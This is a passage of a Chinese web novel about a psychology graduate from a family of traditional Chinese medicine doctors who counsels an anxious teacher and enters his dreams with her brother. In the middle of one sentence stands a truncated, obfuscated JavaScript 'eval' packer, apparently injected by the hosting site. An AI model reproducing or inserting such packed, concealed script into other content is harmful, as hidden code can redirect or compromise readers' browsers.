怪不得,孟伟家那些上了年纪的老物件都还保养的蛮好,即便是在更新换代如此快的时代里,也没有被抛弃,原来还有这样的含义。 “不好意思啊大伟。”终于意识到错误的方思域诚心致歉。 “嗯,你不理解也不怪你,每个人都有自己看重的东西,将心比心就懂了。”接受思域道歉的孟伟又补充道,“就像纪传岚,手机都坏成那样了还要修,这说明那手机对他肯定有非凡的意义嘛。” “大伟说的是,修好没,去吃饭啊。”饭思域饿了。 “走吧走吧。”孟伟将收音机修好收了起来,看来今天不跟他去吃饭是过不去了。 4、症状加重,传人戏变俏守卫 不出意外的话,传岚本科毕业后应该继续读研读博的,就像家里安排的那样,当然,这对一个想要进入市级医院的医学生来说也是必经之路,只是人生的精彩神秘之处就在于不按路数出牌。 比如,传岚在毕业后直接飞去了美国读心理学,毫无征兆。 家里知道时他已经找人联系好了一切,虽然知道他平时主意大,但这毕竟关乎以后的就业和大半辈子的行业方向,一点商量都没的通知任谁也接受不了,大家在家里吵翻了天,一水的批评传岚过于任性,可传岚似乎不怎么在意这些批评,如他毅然去时一般,想回来时,他又立刻回来了。 传岚回到家时正是工作时间,家里一个人都没有,放下行李,打算拐去医馆晃一圈。 医馆还是老样子,人倒是挺多,卓雅和赵鹏飞跟在孙教授跟前学习,孙立德跟容巧不知哪里去了,传岚看大家都在忙,也不方便打招呼,便想晚点等他们稍微空闲了再来问好,刚准备出门,迎头碰上进门的孙立德,一声吆喝,呼的众人都听见了,传岚也只好跟着孙立德又进去。 “你啥时候回来的,纪老师知道吗?”孙立德抱着一箱药材过来,“这是刚送来的草药,待会要用的。” “刚回来,家里没人,就先过来看看你们。”传岚回过孙立德后过去向孙教授和卓雅他们问了好,三人正在工作不便多聊,只是应了好。 “卓雅看到传岚,顿时添了神采,招呼孙立德过来补缺后颠颠跑来。卓雅过来就是一个大大的拥抱,“什么时候回来的,想死我了都。” “刚,刚回来雅雅姐,一回来就过来了。”传岚被卓雅热情的熊抱感染到了。 “你们放假这么早吗,放几天啊,这离过年还有段时间呢。” “我拿到毕业证了,想你们了,就早早回来了呗。” “嗯?你不是明年才毕业吗?”卓雅没记错啊。 “我过去也不是玩的好吧,学分修够了就能直接毕业,在那再待着也没什么意思就回来了。” “说的也是,一个小小心理学,以我们医学生的毅力那还不是手拿把掐的事。” 传岚被卓雅逗笑了:“说的是,再没哪个专业有我们医学生能吃苦了,我们医学生是天生的牛马圣体。” 卓雅也笑起来,想到什么,问道:“你接下来什么打算啊。” “也没什么确切的打算,找了个心理咨询的差先干着呗。” 卓雅啧了两声:“你还真是闷声干大事的料啊,一声不响就把工作落实了啊,换专业去留学也是,找工作也是,哪的工作啊,一个月多少钱啊。” “上海的,试用期一个月八千,转正一万。”传岚并没遮掩。 “这大城市发展就是好,这一月工资顶我们医学生牛马两三个月了。”卓雅突然觉得嘴里好酸啊。 “也没多少,除去租房日常花销,也没剩几个钱了。”算了算上海的物价,确实如此。 “这倒也是,不过说真的,你干嘛自己折腾啊,直接去你大伯那或者来你姑姑这不就好了。”卓雅看着神情无异的传岚猜测到,“哦, 你不用说,我已经知道了,你肯定是那种不想使用家里资源,憋着劲要靠自己打拼的有志青年。” 这下传岚有点哭笑不得了,为了不使卓雅再天马行空的乱猜下去,他直接打断接到,“有资源不用谁傻啊雅雅姐,你当是以前呢,遍地机会,我不去我大伯那是因为我不想去,至于不想去的理由不能告诉你,至于我姑姑这里呢,我才本科毕业,不想当个庸医害人没问题吧。” “你谦虚什么,西医的话还有些道理,可是中医,你都是中医世家了,跟着你爷爷和纪老师从小学多少了,本科还是北京中医药大学,你要是庸医,那我们才学几年的怎么说。” “雅雅姐啊,你也不要神化我,我自己学了多少,心里还是清楚的,这跟是不是中医世家没什么关系,你也不用拿我来比,你们是正儿八经的系统学习,又跟着教授实习,真才实学的自然不心虚啦,要是其它专业还好,医学这块,本科确实有点不够看,我还是谦虚点的好。” “那你什么时候去上海啊?” “年后吧,刚好有个认识的人在那边,可以晚点过去。” 两人这边叙旧聊得火热,那边看诊也进展迅速,原本五点半下班的号提早了半小时就看完了,大概是想着几个年轻人要叙旧,一把年纪的孙教授加了把劲干脆利落的看诊开方,并没像以前一样慢悠悠的听有些患者东拉西扯的讲些没用的讲半天。 孙教授和李教授是明礼的老师,像这种上了年纪的老中医很是吃香,退休后被医院返聘回去做医学指导,明礼看他两时间充裕,软磨硬泡才请了两位老师来医馆帮自己。 医馆自翻新后显得空落落的,以前还有明德一起坐诊,后面就剩自己一个人了,自己平时还要去医院上班,所幸有两位老师过来帮忙,不然明礼就要考虑辞去医院的工作了。 孙教授抓了两把刚送来的草药又闻又看,朝着传岚说:“小岚啊,这半夏,”说着掰断后放进嘴里尝了下味又说,“怎么质量有些参差不齐啊。” 传岚听后凑到跟前抓起半夏瞧了瞧,是有一袋质量稍次一些。 “哦,这个呀,送药过来的郭师傅说了,说‘今年四川产地的半夏受灾严重,质量好的先紧着医院了,让我们先拿其它产地的应应急,纪总说等下一批好的成了再送过来。’”孙立德忙解释到。 “孙老师,这半夏要紧吗?”传岚看着孙教授。 “倒也不要紧,只是药效没那么好,又不是什么假东西,说起来,我和李老师答应明礼过来这边,就是考虑到你们医馆有专供的药材, 不担心给别人开了方子还久久吃不好,要是你大伯拿些假东西糊弄我们,我们自然也是不干的。” 这有的人吃中药久不见效,倒也不全是医术和方子的问题,药材的真假与质量是很关键的一环,而中国的草药还是缺乏系统规范的管理推广,这使得市面上的中药材鱼龙混杂,真假难辨,要是中药材的种植跟生产像生产销售烟草一样系统而严格把控就好了。 “孙老师您放心,这我们肯定不敢用假的,每道工序都是有严格检测和把控的。” “这边的药材跟医院同源,我倒也不担心,好了,你们几个年轻人聊吧,我就下班了。”孙教授起身下班了。 “走吧各位师兄师姐,今天我请客哦。”传岚与大家商量好了时间,还不忘跟姑姑发个已到家的信息。 大家聚到九点就散了,明天还要上班。传岚回到家,姑姑跟传人都等在家里,姑姑明显有些不高兴。 “你怎么现在回来了,回来就回来,也不说声让人去接。” “拿到毕业证就回来了,还接啥啊,都这么大人了,也没什么东西,不用接。” “你回来去你大伯那了没。”明礼有些不满传岚的过于独立,这种独立像是要剥离这个大家庭,似是能不沾染麻烦对方就不麻烦对方一样,这种独立还不像传人的懂事,显得有点生疏,明礼不喜欢这种, 觉得他跟大家没有小时候亲近了。 “还没来得及呢姑姑,下午三点多才到这,家里没人就去了医馆,碰到雅雅姐他们,闹着吃了顿饭才回来。”其实传岚刚回来还在到时差,身体也有点疲乏,压根不想过去老宅。 “既然吃了就早点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,他说我做这个也算是子承父业,并没有反对,不过他有叮嘱说高考期间不许接项目。”传人对姐姐如实回道。 “大伯真是个老古董,这算哪门子子承父业,真是无语。”传岚都被气笑了,吐槽完叮嘱道,“以后别接这项目,学生就该做学生该做的事,别一天乱七八糟想些搞些有的没的,听见没。” “为什么?我睡眠很好,又没影响到我。”传人委屈。 “影响学习。”传岚真是懒得应付这个弟弟。 “我学习还不错,不影响,而且我没接几个,最近这个月就我们老师这一个。” “学习不错要我辅导?”传岚拿刚开始的话堵传人。 “也不是要你辅导,就是聊天嘛,这说说那说说的。”传人有些不自在。 “那就没得说了,你要是实在想接就接呗,说实话跟我也没多大关系。” “别啊大姐,我不接了,高考之前我都不接了,只是我们老师这个项目,已经接了,能不能做完啊。” “听这话,看来是已经入过梦了,但没能一次性解决?”听话听音,传岚也并非完全不关心弟弟。 “嗯。”传人想起昨晚的入梦,有些不好意思。“我经验不够,浅一些的梦眼比较容易找到,深一点的梦眼藏的复杂,我找不着,大姐帮个忙,你接了吧。” “你这甲方都什么情况,讲一下,我听完再看。”传岚并没直接应承。 说起这个,舒华回去遵医嘱吃了药早早就躺下休息了,得益于药里安神助眠的成分,九点半躺下,也算顺利入眠。 舒华最近有些烦,原本都说服自己就这样从事教书育人的工作算了,当编辑做书什么的也不强求了,谁知家里看他慢慢习惯了老师,竟又开始催他去找对象、 说什么在学校里要多留意单身的男老师,看上了主动出击,说什么以后双职工好啊,各方面都匹配。 可舒华不想找对象,更不想找学校里的老师当对象,如果结了婚,真的就是尘埃落地,再没希望了。 舒华跟家里大吵一架后夺门而出,出来后也不知道去哪,就漫无目的地四处晃荡,晃着晃着不知怎么就晃到仁济堂了,想着来都来了,就进去看下吧,反正都跑好几次了,也不算陌生人。 不知为何此时的仁济堂里只有传人一人,像初次见到传人时一样的情景,传人仍然趴在桌子上睡觉,舒华担心这样睡觉会感冒,好心跑去提醒,结果传人被叫醒后发了好大的脾气,吓得舒华连连后退,转身就跑。 一口气跑到很远的地方,竟然看见有一座宫殿矗立在眼前,就在惊讶宫殿的豪华时,里面跑来一群着古代服饰的人,口里着急的喊着:“皇上您去哪了,让我们好找啊。”说着就拥簇着一头雾水的舒华进了殿里。 舒华低头一看,身上的衣服不知道何时已换成了黄袍,舒华抬头,看下前方,哦,原来自己是皇上,意识到的舒华心里极大放松后躺在龙椅上美滋滋地休息。 不一会儿,底下就站了一排排美男子,旁边的太监提醒他,为延绵皇嗣,不使舒家绝后,皇上要挑选几个身康体健,身强力壮的美男子作婿。 舒华听着这个老太监的话感觉十分别扭,但一时又想不起来哪里别扭,只是内心的本能使他抗拒了这种安排。 拒绝的话一出,旁边的太监瞬间变了脸,舒华这才看清,原来这个太监竟然是舒华父亲舒自成装扮而成。 舒自成一脸阴沉逼上前来,“皇上怎么这么不听话,择婿也是为了你好,皇上要是不择婿,外面人怎么说你,只会说皇上不孝,难道皇上愿意被别人这样说吗?”说着便动起手来,拉扯着舒华到下面挑选。 “放肆,你这是要造反吗,来人护驾,护驾啊。”舒华吓得缩在龙椅上,手脚胡乱挥舞。 就在这时,原本在底下待选的传人变成侍卫模样立马冲了前来,护在皇上面前,逼退了面目狰狞的老太监。 回过神的舒华刚松了口气,就瞥见旁边传人虎视眈眈的眼神,传人皱着眉上下扫了好几眼舒华,眉头皱的愈深了。 舒华心里七上八下的,不想逃了狼窝又入虎口,便颤着音地开口:“传爱卿啊,你护驾有功,想要什么赏赐尽管说,只是朕目前没有择婿的打算啊。” 传人神情怪异,听后恨不能将两个眉毛连到一起,依旧从上到下的打量舒华,半响才回:“皇上,我姓纪,不姓传啊,我叫纪传人,你听清了没啊。” 舒华被打量的心里发毛,赶紧说;“不好意思啊纪爱卿,是朕的错,作为赔礼,你看这宫里喜欢什么就拿什么,只是朕身上没有任何值钱的东西啊,朕的钱全用来治病了,朕没钱啊。” 传人看了眼时间,再看趴在龙椅上哭穷哭的肝肠寸断的皇上,此时太监侍卫什么的都消失不见了。传人叹口气,今天找不到只能明天再看了,已经很晚了,不能久待,还是把舒华哄好让他进入深睡眠算了。 “皇上啊,我不要钱啊,我就是看你有没有受伤,你赶紧睡觉去吧。” 抽抽搭搭的舒华听闻抬头看了眼,“可现在不是白天吗?” “白天也要午休的皇上,只有休息好才能有精神啊。”要不是认识的老师,谁还管他。 “爱卿说的是,那你退下吧。” 当然,传人在跟大姐描述的时候已经进行删减美化过了,比如,装作美男子和侍卫这种。 虽然每个人做梦做的都是离奇古怪,各种各样甚至不合常理的,但梦境的产生是合理的,而全讲出来未免就有点令人羞耻了。 “嗯,就是这样。”传人讲完看了眼大姐反应,只见大姐并无任何取笑之意。 “以你的接触,你觉得你们这个老师平时的性格怎么样,跟梦里是一致的还是反差的?” “我跟舒老师只见过几次,单从说话语气什么的来看,是一致的,不过我觉得舒老师梦里的性格更弱一些。”传人回想后说了自己的想法。 “现实生活里性格软弱的人,梦里也不会有太大的反差,因为这种人心志飘摇不定,老是容易陷入纠结反复之中,所以潜意识里还是会延续他这种性格,是属于梦主人的一种。 “一般这种还是很容易看出来梦眼藏在哪的,但是你找不出来啊。”传岚靠在抱枕上说。 传人当是大姐在嘲讽自己水平不够,有些委屈,毕竟自己才接项目没多久,谁料传岚话锋一转接着说道:“那就是你们老师心结太深,平日里想的太多,虽然是梦主人,但他的梦眼太大,你小看这个项目了。” 梦眼是人心纷杂,后天生出的,并非先天就有。平日里越是思虑过多,越会导致梦眼加快生长,梦里见到的甲方都是梦眼幻化而生的,整个梦境的产生都是梦眼的力量展开,梦境越是宏大复杂多变,梦眼的力量越是强大而不易察觉,它有可能是甲方的样子,有可能是甲方的一件附属物,更有可能只是甲方梦境里的一棵树一块石头。 如果只是梦主人,即便梦眼强大不易察觉,那也还算好处理,毕竟甲方是无意识的,不会有太大的攻击性,可倘若是有意识的人控梦,那就是很棘手的事了。 “是,我经验还是太少了,如果是大姐的话,肯定轻松就解决了。”传人听大姐分析完也立马承认了自己的不足。 “我解决什么,我又没答应你。”传岚起身喝水。 “可是大姐,你刚帮我分析了半天,不就是愿意帮我的意思吗?”传人被大姐的话说愣住了。 “嗳,我才不要,我就是无聊说说而已。”传岚嫌弃。 “大姐,求你帮我这次,舒老师状态真的不对劲,不能放任不管,不然迟早要出事的。”传人急了。 “要出事也不是你造成的,跟你有什么关系,你也不要把什么都往你身上揽,你就一普通的再不能普通的高中生,哪儿来那么大的能力管这管那的,你管的过来吗你,你现在就一件事,安心备考,旁的事也不用你操心,再说了,纪老师的药开的很好,慢慢调理总会见好的,欲速则不达,着急不来的。” “可是我怕他等不到调理好人就先崩掉了,调理不是短期就能见效的。” “你怎么知道他要崩掉,哪儿来的自信?” “我就是知道,大姐你没见他,你见一次就知道了,我直觉很强烈,真不骗你。”传人戚戚央道。 “你怎么这么烦人呐,见天的折腾人,松手,我答应你看,但是话说前头啊,我才回来没多久,而且很久没动了,不保证能成功。”传岚甩了甩抱腿的传人。 “谢谢大姐,我相信只要你愿意出马,就一定会成功的。” “行了,少拍马屁,挑个时间把人带过来,现在立刻马上去收拾睡觉。” “大姐晚安。”得到应允的传人贴心关好门后去洗漱了。 4. 三出三进,传岚巧破绕心结 传岚睡得正香,旁边的手机铃声却响个不停,万幸没有起床气,还能拿起手机看下是谁这么讨人厌。 是方思域,那就没事了,关了再睡会。 方思域这会气得要死,好不容易等到晚上十一点钟打来,结果又被挂掉了,这十一点多好,纪传岚那边怎么着也是要吃午饭,他这还没睡,这个时间大家都方便,为什么要挂掉! 气不过的方思域又打来,抱着一次不行来两次的讨人厌想法,只是为了质问对方为什么招呼没打就走了,难道自己之前的热心都是喂了狗吗,连句客气的话都没留,微信发个消息这么简单的事情他都没有做,这明显伤到方思域的自尊了,他誓要讨回来。 锲而不舍的铃声终于再次吵醒了传岚,传岚翻起身删掉了他的微信,于是,世界再次安静。 方思域陷入沉默并逐渐安静。 无人打扰直接睡到下午的传岚终于起身准备去觅食果腹,翻了翻冰箱,东西倒是满满当当挺全乎,但是张阿姨不在,自己也懒得做饭,拿瓶水简单收拾了下,睡衣也没换就裹了个长羽绒出了门。 纪明礼的住所距医馆不太远,步行不到二十分钟,传岚在临近小区也有一处住的地方,但现在基本闲置着。 传岚准备到商业街附近随便吃点就直接去医馆,便招呼师傅就近停了车。看见路边的酸辣粉店,嘴巴里不觉已渗出了口水,回想自己在外吃的干巴饭菜,没滋没味像嚼蜡一样的生活居然断断续续的过了两年多就替自己的胃心疼,到店里大手一挥就点了个豪华套餐。 传岚正风卷残云嗦粉,店里进来两母子,这两人面色异于常人,一下子将传岚专心嗦粉的心吸了出来,只见头上掺了颜色的老母亲给神色枯槁的女儿点了一份豪华套餐,在一旁像哄小孩一般哄着吃饭,这女儿一动不动,眼睛也未聚焦,宛如一具提线木偶,老母亲擦了擦自己的眼睛,仔细为女儿拢了拢碎发,摸了摸头:“花花啊,以前妈妈唠叨,不让你吃这些垃圾食品,是妈妈不好,我们今天过来吃,你看,这都是你爱吃的,你好歹吃两口,吃完这个我们再去吃你爱吃的寿司麻辣烫火锅什么的好不好。”那女儿仍未回应半分。 老母亲仔细的将酸辣粉分装到没汤的小碗里晾凉,夹起一筷子喂到女儿嘴里,那女儿真像个小孩子一样听话地张开了嘴,机械地咀嚼吞咽,只是这样,那老母亲就已经很是高兴了,他极具耐心地夹起那些滑落一次次的酸辣粉,小心而坚毅的将它们化作他女儿的能量。 传岚不清楚内因,也不晓得外果,只是光看这情形,胃里就翻涌难受的厉害,嗦到一半的粉也不香了,也不想再待下去了,立马起身付了钱出了店门。出去捂着胃,又跑去买了几个热乎乎的包子吃着压了压,好些了才继续走去医馆,想起下午都好一会了,买点小蛋糕顺路带过去给师姐他们当下午茶。 这临近过年就是热闹,大概因着快过年了,大家喜气洋洋的也少生病,医馆里没几个人。 今天人倒是齐的,李教授坐满他的两个小时班就走了,留几个学生在那熟悉病症和方子。大家看到传岚过来也很是高兴,戏说着小师妹又来投食了,各自放下手里的活计自然的簇拥到了一起。 卓雅负责挑选小蛋糕的口味,容巧负责冲泡药茶,孙立德和赵鹏飞就收拾桌椅,大家各事其工。 “传岚,我今天听纪老师跟李教授说你工作的事呢,你没跟你姑姑说你自己找工作的事吗?”卓雅虽喜爱小蛋糕,却也不忘正事。 “刚回来没两天,净顾着倒时差了,忘记说了。” “我听你姑姑那意思还是希望你从事我们这个行业,具体去哪里工作,他怕你闹别扭还没定,不过李教授建议你留在医馆里,你姑姑说得问你,你怎么看?” “上回不是说了吗,我差着火候呢。”传岚回到。 “李教授说要是你在医馆,他和孙教授还能干几年,能带带你。” “对,你就来呗传岚,你来了我们几个一起多好啊,我们五人组。”容巧也加进来劝说。 “我们五人小分队制霸仁济堂,到时候纪老师退位,你当掌门,罩着我们。”孙立德开始胡说八道。 “到时候给我们涨工资。”老实人赵鹏飞也插科打诨。 “干嘛啊你们,收纪老师什么好处了,怎么一边倒的劝我啊,都吃我小蛋糕了,也不知道站我这边。”传岚揶揄众人。 “这不是为以后能长长久久吃到你的小蛋糕嘛,一两次跟长久我们还是分得清的。”卓雅笑说。 “还得是卓雅,一般人没他那脸皮,说不出这话。”容巧戏说道。 “好啊雅雅姐,感情你打我主意这样早,下次再不给你买了。”传岚笑回。 “那是,谁有你雅雅姐脸皮厚啊,就说上次,老是胃胀胃痛那李奶奶,客气客气叫他去相看他孙子,你猜怎么着,人家还真去了,李奶奶那孙子,就比传人大两岁,才上大二,他也好意思去相看。” “然后呢,相看上了吗?”传岚好奇问道。 “他倒是相看的上,可人家彤彤不愿意啊,人小孩都吓到了,好不容易考上大学,正和高中同学发展感情呢,哪能看上报两块金砖的他啊。”孙立德似是说的很高兴。 卓雅哼了一声接到:“我也就是看李奶奶面子去转了一圈,那小屁孩我哪看得上啊。” “哟,你还看不上人家,拜托你低低头倒倒你脑子里的水好吧,现实点找我这样的还算差不多,还想找弟弟。”孙立德有时候也很嘴贱。 “我就是找赵鹏飞那样的也不会找你的。”卓雅一点不示弱地呛了回去。 “你两吵归吵,别拉我下水啊。”赵鹏飞无辜躺枪,“再说了,我觉着我挺好的。” “就是就是。”容巧附和。 “我懒得搭理他,传岚啊,我真觉得你来这边挺好的,你也别去上海了,那心理学现在看着赚钱,以后怎么样谁也说不准,到底不靠谱,你来医馆,到时候你跟我还有容巧待一起多好啊,一起上班,下班逛街撸串,随叫随到,你要是去了上海,也没几个认识的,下班了找谁逛街去啊,我们想见一面还得高铁飞机的,多麻烦啊。” “是啊传岚,大雅说的对啊。”容巧附和。 “我再想想吧,好吧,再想想。” “你可要好好想啊。”卓雅叮嘱。 “好,那我先回去,回去好好想想,刚好快下班了,我也得回去了。”传岚哭笑不得。 回去家里,传人说是和舒老师约了后天下午三点的时间,让传岚记得提前去医馆等候,并再三提醒大姐别忘记了,姑姑约了同事去涮火锅,让姐弟俩凑活点点外卖。 舒华前天吃了药早早睡去后,虽然也做了几个小梦,但睡眠充足,早上起来也没想起梦了什么,感觉精神好了不少,收拾完自己,高高兴兴的哼着歌去了学校,课间的时候,传人跑来跟他说让他再去趟医馆,舒华问及原因,对方只说是纪医生要看下他服药后的效果,舒华想着过去一趟也不是什么大事,就答应了。传人走后,舒华翻看手里找来的优秀教学案例,猛地想起了之前好像梦见了传人,还在他跟前哭来着。这是什么乱七八糟让人无语的梦啊,怎么就梦见他了,还梦见当着学生面毫无形象的哭。舒华心里想着干脆将这张老脸扯下来擦鞋算了,这果然还是要再去趟医馆,这脑子里都成浆糊了。 传岚见到这位不对劲的老师时确是信了传人之前的话,眼前这人,二十四五的年纪,衣服面容拾掇地倒是干净舒适,但开口那一瞬间就泄了底,声音小而弱,语气里也透着不确定,与他一米六五左右的身量极不相称。医馆里开着暖风,他穿着结结实实的羽绒服,一点口子也没留。传岚心想,这人气血好虚。 “你好,我过来复诊,纪医生不在吗?”舒华进去时只看见一个同他一般年纪穿着白卦的女孩子坐在桌子跟前,未见纪医生的身影。 “哦,纪医生有事,我是他助手,进来吧,叫你过来是了解下你服药的效果反馈什么的,后面好增减调配新的方子,我来也是一样的。”传岚招呼他进来。 “我这是上周才换的方子,又要换新的吗医生。”舒华问到。 “也不一定要换,看情况嘛,先了解下,你做老师多久了?” “一年多吧。” “你是什么时候觉得做梦已经影响到生活这种地步了,就是身体疲乏精神困顿这种。” “大概是当老师没多久就开始的。” 传岚哦的一声,“你不喜欢当老师吗?” “医生,这个跟我们病情有关吗?”舒华迟疑问到。 “当然有关啦,你不用担心,我除了学习中医外还修了心理学,算是我们医馆的复合型人才,这也是纪医生交代我来全面了解下你这边情况的主要原因。”传岚正襟危坐,尽量给够患者信心。 “哦哦,你们中医现在都要求这么严了吗,还要会心理学,我在别处还没听过。”舒华不解,但觉得对面的医生会的多对自己也没坏处。 “我算是创新实验,不过也不是每个医生都需要辅修心理学。” “那我这很严重吗?”都出动复合型人才了。 “看你精神蛮好嘛,没多大问题。”传岚宽解完笑看着舒华,也不催他,等他自己愿意开口。 “也说不上喜不喜欢吧,就是一份工作而已。”末了,舒华又紧急接到“不过我都有认真工作,毕竟当老师也不能误人子弟。” “你很在意别人的看法跟说法吗?其实你不用跟我解释的。” “没有,我就是,就是。”舒华想,是啊,为什么要向他解释呢,确实就是一份工作嘛,自己无愧于心就好了,干嘛要在意别人的看法去解释呢,更何况眼前这人年纪还和自己差不多。 “我也没有很热爱我的工作啊,而且我敢肯定,没有几个人是抱着热爱热情工作的,工作就是工作,只是谋生的一种手段而已。”传岚顺着说了下去。 “可是。”舒华皱了皱眉,感到不解心里甚至有些不喜眼前这位医生的不负责任,但他不能直接说出来。 “可是我是医生,怎么能和别的职业比是吗?你是想说这个?” “难道不是吗?如果医生不热爱自己的工作,岂不是很没有责任心,这对患者一点也不负责啊。”舒华见他自己开了口,也不再迟疑扭捏。 “等等,对工作没那么热情是怎么和没有责任心划对等的?我对工作没那么热情不代表我工作的时候就不负责啊,工作只是生活的一部分,它不是全部,没有哪个法条规定人要必须热爱自己的工作才能从事这份工作吧,事实上,相当大一部分人根本不知道自己喜欢做什么事或者说他喜欢做的事满足支撑不了他的经济,那这部分人不配工作吗?” “我没有这么说,我只是觉得,起码医生不能这样吧。”舒华不愿意听传岚说的。 “要必须喜欢热爱才能从事医生这个行业,否则都是不负责任吗?”传岚放慢语气一字一句的又抛出了这句含有重复意思的问话。 对方沉默良久郑重的点了点头。 “所以讨厌当老师的你觉得自己很不负责吗?” “我没有讨厌,我只是没那么喜欢,而且我有很认真对待这份工作。”舒华盯着传岚立马反驳到。 “不喜欢当老师,可又违背不了自己的良心敷衍了事,兢兢业业工作,但不喜欢这份工作,甚至有时候觉得厌恶,是这样吗?”传岚步步紧逼,一步不让,甚至显得有点咄咄逼人。 舒华沉默很久:“我是有些讨厌这个工作,偶尔想松懈偷个懒,但一想到自己是在教书,就愧疚的不行,想想我不过才一个末流211的本科生,不过才比他们大四五岁,我真的有所谓的能力去给他们上课吗,说实话,我当老师就是为了拿一份工资。 “当然,为了对得起这份工资,每天每天我都有很认真的备课,只是我太累了你知道吗,我不敢有一点松懈。我每天花费大量时间精力准备的东西课上根本没几个人认真听,我看见他们这样,就想啊,他们自己都不看重放在心上,我为什么要那么认真较真呢,随便糊弄下照本宣科凑时间等下课不就好了吗,可是每当我一有这个想法并想着去做的时候,心里立马就会愧疚的不行,我原本还有其它事想做的,但是每天每天,光是学校里的事就已经让我心疲力竭了,我感觉我的精气神被学校耗光了,我无数次地想要辞职,可试探的话语一出就会立马遭到家里紧张的质问,问我为什么要辞职啊,辞了又能干什么,其实我也不知道我能干什么,想想这工作还是托关系找的,辞了这个工作我还能找到五险一金工资还可以又双休的工作吗,何况老师还带假期,想到这我又不敢辞职了,或许我就是个没用的废物。”也许是相似的年纪,又同为女孩子,对方释放了善意,舒华感觉满腔的委屈压抑都有了接收口,不想再隐忍内耗,不想将堤坝越垒越高高到将来吞噬掉自己,他一点一点地打开了闸门,让聚集的洪水一泻千里。 “心理学里把某一类人的行为概化为愧疚型人格,这类人呢通常会习惯性的感到内疚,他们往往倾向于过度思考和反省自己的行为,决策和关系等,并且过于关注他人对自己的评价,具体到日常生活里呢,可能就是在没有明显过错的情况下,他会不自觉的认为是自己做错了什么。听着是不是像在说自己?” 舒华点了点头,“你的意思是说我是愧疚型人格,那这算是心理疾病吗?” “算啊,中医里讲‘百病生于气也,怒伤肝’肝是情绪器官,平日里过于精神内耗生闷气,就会造成肝气郁结,气血两虚,而‘肝主疏泄,调畅全身气机’,肝气顺畅了,精神自然会好。心理学上是表象阐述,中医是根源阐述,本质上是一样的,都需要你心情舒畅。” “那医生你快给我开个调理肝的方子我拿回去吃。”舒华听明白了,听的也很仔细,这会也不敢优先伤心了,立马抓重点的要医生开药。 “不用开啊,你之前的方子就是调理肝的,照着吃就好了。” “那个不是调理我失眠多梦的药吗?” “你失眠多梦也跟肝有关啊,就是因为你想太多自己又消化不了,闷在心里久了,给肝造成了负担,失眠多梦是你的肝在发出求救信号啊。” “原来是这样啊。”舒华想这年轻医生说话真好听,还用这么浅显幽默的话来跟他解释原因。 “所谓‘上医治未病,中医治欲病,下医治已病。’要彻底解决掉你失眠多梦的问题,得从根源上出发,你明白吗?” “是要我以后爱护肝脏,少生气内耗吗?”舒华不确定的回到。 “你明白了就好嘞,始终记得预防重于治疗,以后呢不要想太多,工作就是工作,它本身就是用来换取报酬谋生的一种手段,不要在意别人的想法,也不要纠结包揽不属于自己的责任,别人的人生自己会做主,用不着你着急,你只要尽职尽责做好自己的分内工作就可以了。当然,更不要把工作当成生活的全部,即便辞了职找不到工作,天也塌不下来,你也饿不死,任何事情,若是还没有发生,不要动不动就预想的那么严重好吗。” “好的医生。”这位医生的话像龙卷风一样强势地闯进舒华的天地,呼呼几下就将充斥盈满空间的杂草一扫而空,露出了广阔而轻松明亮的世界本身。 “那我要是真饿死了怎么办啊?”舒华没忍住开了个玩笑,说完还有点不好意思的害羞。 “那你就去要饭,要到仁济堂的门前,我肯定给你吃的饱饱的,不过现在要饭的都开豪车住别墅了,你也不一定就到我门前了,为了以防万一,这是我的联系方式,拿着吧。”传岚撕了张便签写了自己的联系方式。 “谢谢你啊医生,除非真有急事,否则我不会打扰你的。”舒华将纸条小心装进了口袋。 “嗯,那你回去吧,还按上次纪医生的药来吃,吃完就先不吃了,那个茶饮的方子坚持喝对身体还蛮好,反正也不是很贵,看你经济,能坚持半年以上最好了。”医者仁心,传岚也是多说一些。 “好的医生,我会坚持喝的,谢谢你啊医生。”舒华此时倒是很诚心的道谢。 “不客气,今晚也要早点休息啊。” 已经提前进行疏导开解过了,希望晚上的驱梦会容易些。 虽然不希望传人过早接触驱梦这种事,但是该掌握学习的部分还是要会,所谓做不做的放一边,首先要会,传岚通知了传人请假晚自习提早回来。 晚上九点,传人安静地坐在旁边等大姐的信号,传岚躺在沙发上不紧不慢地玩手机,玩累了就闭目养神眯一会,断断续续一直到九点四十五,传岚才收起手机,让传人点燃角香,找个舒服的地方待好。 两人推门进来,看见一座图书馆,舒华在里面沉迷的抱着书看,看见他们,很是高兴的跑过来,亲密的拉着传岚的手就要跟他分享自己最近发现的一本好书,传岚顺从地过去坐好,听着舒华兴致勃勃的讲解。 传岚仔细地打量了舒华好几遍,发现舒华的梦眼果然不在身上,便朝着旁边的传人示意了下,让他在周遭观察寻找,自己还是在跟前探索。 “同学,认真听讲啦,再这样老师可要生气了。” “舒老师,已经下课了,我是纪传岚,你朋友啊。”传岚顺着舒华的话说了下来。 “哦哦,不好意思啊传岚,最近有点忙,都忙晕头了。” “没事,我都习惯了,我看你看好久书了,我们活动下身体,来玩捉迷藏吧。” “好啊,那我们两谁捉谁藏啊?”舒华兴致满满。 “我们今天来玩个不一样的,也不叫捉迷藏,叫寻宝吧,你我还有传人三个都来找,至于找的东西呢,就是大家各自认为最宝贵的东西,最好是闪闪发光亮晶晶的东西,十五分钟为一轮,不管找到什么,到时间还在这汇合怎么样。” 舒华应好,传人点头,大家分散了四处去寻。 传人上次听老姐说了梦境里幻化的一棵树一块石头都有可能是眼后就处处留心,路过一块石头也要踢一脚,看见一棵树也要上去拍两巴掌,生怕漏了哪个,四处溜达,该踢的不该踢的他都踢了,该拍的不该拍的他也拍了,这会脚也酸的手也酸,干脆提前回去趴桌子上休息。 舒华这次的梦境说大也不大,说小也不小,一个大图书馆外延伸了一片花园草地,只是传岚里外里的走了满一圈,也没看见梦眼藏哪去了,这倒奇了怪了,梦眼不幻化在人身上,这躲在其它地方应该很明显啊。 十五分钟后,传人和传岚两手空空在那互相尬笑,有些跌面的传岚挽尊说道;“文的不行干脆就来武的算了,要不是看他是你老师,早就两三刀劈了那该死的梦眼,还费这时间干啥。” 传人顿时来了兴趣,凑到跟前小声问道:“不用找梦眼就能解决吗,大姐你教教我。” “ 